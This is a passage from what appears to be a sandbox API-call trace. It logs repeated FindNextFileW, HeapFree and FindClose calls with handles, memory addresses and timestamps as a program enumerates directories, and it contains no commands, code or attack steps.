hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.265] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.267] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.267] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.269] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.269] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.271] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.271] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.274] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.274] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.275] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.275] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.277] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.277] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.278] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.278] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.280] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.280] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.281] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.281] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.282] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.282] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.284] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.284] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.285] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.285] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.286] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.286] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.288] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.288] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.290] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.290] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.291] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.291] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.292] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.292] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.294] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.294] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.295] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.295] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.297] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.297] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.298] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.298] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.300] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.300] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.302] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.302] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 0 [0300.302] FindClose (in: hFindFile=0x7fd048 | out: hFindFile=0x7fd048) returned 1 [0300.302] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0300.302] FindNextFileW (in: hFindFile=0x7fd108, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0300.305] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.305] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.843] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.843] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.855] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.855] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.856] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.856] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.859] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.859] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.861] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.861] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.863] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.863] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.865] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.865] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.865] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.865] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.867] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.867] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.869] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.869] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.871] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.871] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.873] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.873] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.874] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.874] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.876] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.876] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.878] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.878] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.880] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.880] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.882] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.882] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.887] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.887] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.889] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.889] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0301.354] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.354] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0301.356] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.356] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0301.359] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.359] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0301.361] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.361] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0301.364] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.364] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0301.367] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.367] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0301.378] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.378] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0301.447] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.447] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0301.450] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.450] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0301.452] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.452] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0301.455] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.455] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0301.457] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.458] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0301.460] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.460] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.726] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.726] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.727] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.727] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.727] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.727] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.727] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.727] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.727] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.727] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.728] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.728] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.728] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.728] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.729] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.729] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.729] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.729] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.730] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.730] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.730] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.730] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.730] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.730] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.730] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.730] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.731] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.731] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.732] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.732] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.732] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.732] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.732] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.732] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.733] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.733] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.733] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.733] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.733] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.733] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.733] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.734] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.734] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.734] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.734] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.734] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.734] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.734] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.735] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.735] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.735] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.735] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.735] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.735] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.736] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.736] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.736] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.736] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.736] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.736] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.737] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.737] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.737] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.737] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.737] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.737] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.738] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.738] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.738] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.738] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.738] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.738] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.739] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.739] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.739] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.739] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.739] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.739] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.743] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.743] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.743] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.743] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.743] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.743] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.744] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.744] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0301.744] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.744] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 0 [0301.744] FindClose (in: hFindFile=0x7fcdc8 | out: hFindFile=0x7fcdc8) returned 1 [0301.744] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.745] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0301.749] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.749] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0301.752] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.752] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0301.756] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.756] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0301.759] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.759] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0301.762] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.762] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0301.764] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.764] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0301.767] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.767] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0301.919] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0301.920] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0301.923] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.923] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0301.925] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.925] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0301.928] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.928] 